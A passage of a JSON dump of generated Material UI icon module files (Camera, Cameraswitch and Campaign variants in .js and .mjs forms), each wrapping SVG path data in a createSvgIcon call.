1.42.24 2.17.24 2.4 0 4.6-.85 6.32-2.25l-3.66-6.35z\"\n}), 'CameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.4 10.5 4.77-8.26C13.47 2.09 12.75 2 12 2c-2.4 0-4.6.85-6.32 2.25l3.66 6.35zM21.54 9c-.92-2.92-3.15-5.26-6-6.34L11.88 9zm.26 1h-7.49l.29.5 4.76 8.25C21 16.97 22 14.61 22 12c0-.69-.07-1.35-.2-2M8.54 12l-3.9-6.75C3.01 7.03 2 9.39 2 12c0 .69.07 1.35.2 2h7.49zm-6.08 3c.92 2.92 3.15 5.26 6 6.34L12.12 15zm11.27 0-3.9 6.76c.7.15 1.42.24 2.17.24 2.4 0 4.6-.85 6.32-2.25l-3.66-6.35z\"\n}), 'CameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.9 19.91c.36.05.72.09 1.1.09 2.18 0 4.16-.88 5.61-2.3L14.89 13zm-1.04-.21 2.71-4.7H4.59c.93 2.28 2.87 4.03 5.27 4.7M8.54 12 5.7 7.09C4.64 8.45 4 10.15 4 12c0 .69.1 1.36.26 2h5.43zm9.76 4.91C19.36 15.55 20 13.85 20 12c0-.69-.1-1.36-.26-2h-5.43zM13.73 9h5.68c-.93-2.28-2.88-4.04-5.28-4.7L11.42 9zm-3.46 0 2.83-4.92C12.74 4.03 12.37 4 12 4c-2.18 0-4.16.88-5.6 2.3L9.12 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10 0-4.75-3.31-8.72-7.75-9.74l-.08-.04-.01.02C13.46 2.09 12.74 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10m0-2c-.38 0-.74-.04-1.1-.09L14.89 13l2.72 4.7C16.16 19.12 14.18 20 12 20m8-8c0 1.85-.64 3.55-1.7 4.91l-4-6.91h5.43c.17.64.27 1.31.27 2m-.59-3h-7.99l2.71-4.7c2.4.66 4.35 2.42 5.28 4.7M12 4c.37 0 .74.03 1.1.08L10.27 9l-1.15 2L6.4 6.3C7.84 4.88 9.82 4 12 4m-8 8c0-1.85.64-3.55 1.7-4.91L8.54 12l1.15 2H4.26C4.1 13.36 4 12.69 4 12m6.27 3h2.3l-2.71 4.7c-2.4-.67-4.35-2.42-5.28-4.7z\"\n}, \"1\")], 'CameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.9 19.91c.36.05.72.09 1.1.09 2.18 0 4.16-.88 5.61-2.3L14.89 13zm-1.04-.21 2.71-4.7H4.59c.93 2.28 2.87 4.03 5.27 4.7M8.54 12 5.7 7.09C4.64 8.45 4 10.15 4 12c0 .69.1 1.36.26 2h5.43zm9.76 4.91C19.36 15.55 20 13.85 20 12c0-.69-.1-1.36-.26-2h-5.43zM13.73 9h5.68c-.93-2.28-2.88-4.04-5.28-4.7L11.42 9zm-3.46 0 2.83-4.92C12.74 4.03 12.37 4 12 4c-2.18 0-4.16.88-5.6 2.3L9.12 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10 0-4.75-3.31-8.72-7.75-9.74l-.08-.04-.01.02C13.46 2.09 12.74 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10m0-2c-.38 0-.74-.04-1.1-.09L14.89 13l2.72 4.7C16.16 19.12 14.18 20 12 20m8-8c0 1.85-.64 3.55-1.7 4.91l-4-6.91h5.43c.17.64.27 1.31.27 2m-.59-3h-7.99l2.71-4.7c2.4.66 4.35 2.42 5.28 4.7M12 4c.37 0 .74.03 1.1.08L10.27 9l-1.15 2L6.4 6.3C7.84 4.88 9.82 4 12 4m-8 8c0-1.85.64-3.55 1.7-4.91L8.54 12l1.15 2H4.26C4.1 13.36 4 12.69 4 12m6.27 3h2.3l-2.71 4.7c-2.4-.67-4.35-2.42-5.28-4.7z\"\n}, \"1\")], 'CameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cameraswitch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-4 7c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.57.51 4.48 4.48V2.04c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.02 15.49-1.59 8.57.51m2.38 21.45c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"1\")], 'Cameraswitch');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cameraswitch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-4 7c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.57.51 4.48 4.48V2.04c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.02 15.49-1.59 8.57.51m2.38 21.45c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"1\")], 'Cameraswitch');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H8V9h1.83l1-1h2.34l1 1H16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.57.52 13.05 5l1.41-1.41-1.54-1.54C17.7 2.46 21.53 6.24 22 11h2C23.36 3.3 15.79-1.67 8.57.52m.97 19.89 1.54 1.54C6.3 21.54 2.47 17.76 2 13H0c.64 7.7 8.21 12.67 15.43 10.48L10.95 19z\"\n}, \"2\")], 'CameraswitchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H8V9h1.83l1-1h2.34l1 1H16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.57.52 13.05 5l1.41-1.41-1.54-1.54C17.7 2.46 21.53 6.24 22 11h2C23.36 3.3 15.79-1.67 8.57.52m.97 19.89 1.54 1.54C6.3 21.54 2.47 17.76 2 13H0c.64 7.7 8.21 12.67 15.43 10.48L10.95 19z\"\n}, \"2\")], 'CameraswitchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-4 7c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.45.28c-.4.08-.55.56-.26.84l3.01 3.01c.32.31.85.09.85-.35V2.04c4.45.44 8.06 3.82 8.84 8.17.08.46.5.78.97.78.62 0 1.09-.57.98-1.18C22.61 2.89 15.79-1.12 9.45.28m2.35 19.59c-.32-.32-.85-.09-.85.35v1.74c-4.45-.44-8.06-3.82-8.84-8.17-.08-.46-.5-.78-.97-.78-.62 0-1.09.57-.98 1.18 1.24 6.92 8.06 10.93 14.4 9.53.39-.09.55-.56.26-.85z\"\n}, \"1\")], 'CameraswitchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-4 7c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.45.28c-.4.08-.55.56-.26.84l3.01 3.01c.32.31.85.09.85-.35V2.04c4.45.44 8.06 3.82 8.84 8.17.08.46.5.78.97.78.62 0 1.09-.57.98-1.18C22.61 2.89 15.79-1.12 9.45.28m2.35 19.59c-.32-.32-.85-.09-.85.35v1.74c-4.45-.44-8.06-3.82-8.84-8.17-.08-.46-.5-.78-.97-.78-.62 0-1.09.57-.98 1.18 1.24 6.92 8.06 10.93 14.4 9.53.39-.09.55-.56.26-.85z\"\n}, \"1\")], 'CameraswitchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6h-4L9 7H6v10h12V7h-3zm-2 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.57.51 4.48 4.48V2.04c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.02 15.49-1.59 8.57.51m2.38 21.45c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"1\")], 'CameraswitchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6h-4L9 7H6v10h12V7h-3zm-2 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.57.51 4.48 4.48V2.04c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.02 15.49-1.59 8.57.51m2.38 21.45c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"1\")], 'CameraswitchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 8h-2.34l-1 1H8v6h8V9h-1.83zM12 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H8V9h1.83l1-1h2.34l1 1H16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.57.52 13.05 5V2.05c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.03 15.49-1.58 8.57.52m2.38 21.44c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"3\")], 'CameraswitchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraswitchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 8h-2.34l-1 1H8v6h8V9h-1.83zM12 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h-1l-1-1h-4L9 7H8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H8V9h1.83l1-1h2.34l1 1H16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.57.52 13.05 5V2.05c4.72.47 8.48 4.23 8.95 8.95h2C23.34 3.03 15.49-1.58 8.57.52m2.38 21.44c-4.72-.47-8.48-4.23-8.95-8.95H0c.66 7.97 8.51 12.58 15.43 10.48l-4.48-4.48z\"\n}, \"3\")], 'CameraswitchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Campaign.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm11.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'Campaign');"
  },
  {
    "path": "packages/mui-icons-material/lib/Campaign.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm11.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'Campaign');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm5.03 1.71L11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55zM15.5 12c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm5.03 1.71L11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55zM15.5 12c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12c0 .55.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1m-1.41 4.82c-.33.44-.24 1.05.2 1.37.53.39 1.09.81 1.62 1.21.44.33 1.06.24 1.38-.2 0-.01.01-.01.01-.02.33-.44.24-1.06-.2-1.38-.53-.4-1.09-.82-1.61-1.21-.44-.33-1.06-.23-1.39.21 0 .01-.01.02-.01.02m3.22-12.01c0-.01-.01-.01-.01-.02-.33-.44-.95-.53-1.38-.2-.53.4-1.1.82-1.62 1.22-.44.33-.52.95-.19 1.38 0 .01.01.01.01.02.33.44.94.53 1.38.2.53-.39 1.09-.82 1.62-1.22.43-.32.51-.94.19-1.38M8 9H4c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3c0 .55.45 1 1 1s1-.45 1-1v-3h1l5 3V6zm7.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12c0 .55.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1m-1.41 4.82c-.33.44-.24 1.05.2 1.37.53.39 1.09.81 1.62 1.21.44.33 1.06.24 1.38-.2 0-.01.01-.01.01-.02.33-.44.24-1.06-.2-1.38-.53-.4-1.09-.82-1.61-1.21-.44-.33-1.06-.23-1.39.21 0 .01-.01.02-.01.02m3.22-12.01c0-.01-.01-.01-.01-.02-.33-.44-.95-.53-1.38-.2-.53.4-1.1.82-1.62 1.22-.44.33-.52.95-.19 1.38 0 .01.01.01.01.02.33.44.94.53 1.38.2.53-.39 1.09-.82 1.62-1.22.43-.32.51-.94.19-1.38M8 9H4c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3c0 .55.45 1 1 1s1-.45 1-1v-3h1l5 3V6zm7.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M8 9H2v6h3v4h2v-4h1l5 3V6zm7.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M8 9H2v6h3v4h2v-4h1l5 3V6zm7.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}), 'CampaignSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm5.03 1.71L11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55zM15.5 12c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.03 10.71 11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55z\",\n  opacity: \".3\"\n}, \"1\")], 'CampaignTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CampaignTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v2h4v-2zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61M20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4M4 9c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v4h2v-4h1l5 3V6L8 9zm5.03 1.71L11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55zM15.5 12c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.03 10.71 11 9.53v4.94l-1.97-1.18-.48-.29H4v-2h4.55z\",\n  opacity: \".3\"\n}, \"1\")], 'CampaignTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cancel.js",
